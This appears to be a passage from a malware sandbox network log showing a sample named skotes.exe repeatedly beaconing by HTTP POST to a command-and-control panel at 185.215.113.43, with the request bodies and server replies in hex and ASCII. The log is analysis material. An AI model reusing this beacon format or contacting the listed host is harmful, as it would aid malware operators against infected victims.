Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:00.595191002 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:25:02.025506973 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50211	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:03.783489943 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:25:05.130774021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	50213	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:06.772375107 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:25:08.159301996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50216	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:09.970535040 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:25:11.403306007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50217	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:13.085192919 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:25:14.610913992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50219	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:16.355103016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:25:17.742945910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50221	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:19.397167921 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:25:21.079530001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50223	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:22.830002069 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:25:24.244360924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50226	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:25.887300014 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:25:27.353612900 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50228	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:29.100883961 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:25:30.459959030 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50231	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:32.106940031 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:25:33.498871088 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50232	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:35.241435051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:25:36.618371964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50233	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:38.263535023 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:25:39.703783035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50234	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:41.451335907 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:25:42.858901024 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50235	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:44.494122982 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:25:45.879462004 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50236	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:47.668770075 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:25:49.246884108 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50237	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:50.888597965 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:25:52.233328104 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50238	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:53.987529039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:25:55.520977020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50239	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:25:57.168751955 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:25:58.523710966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:25:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50240	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:00.473736048 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:26:01.864424944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50241	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:03.503293991 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:26:04.968831062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50242	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:06.719010115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 18:26:08.148370028 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50243	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:26:09.778256893 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 18:26:11.116173983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 17:26:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50244	185.215.113.43	80	5740	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
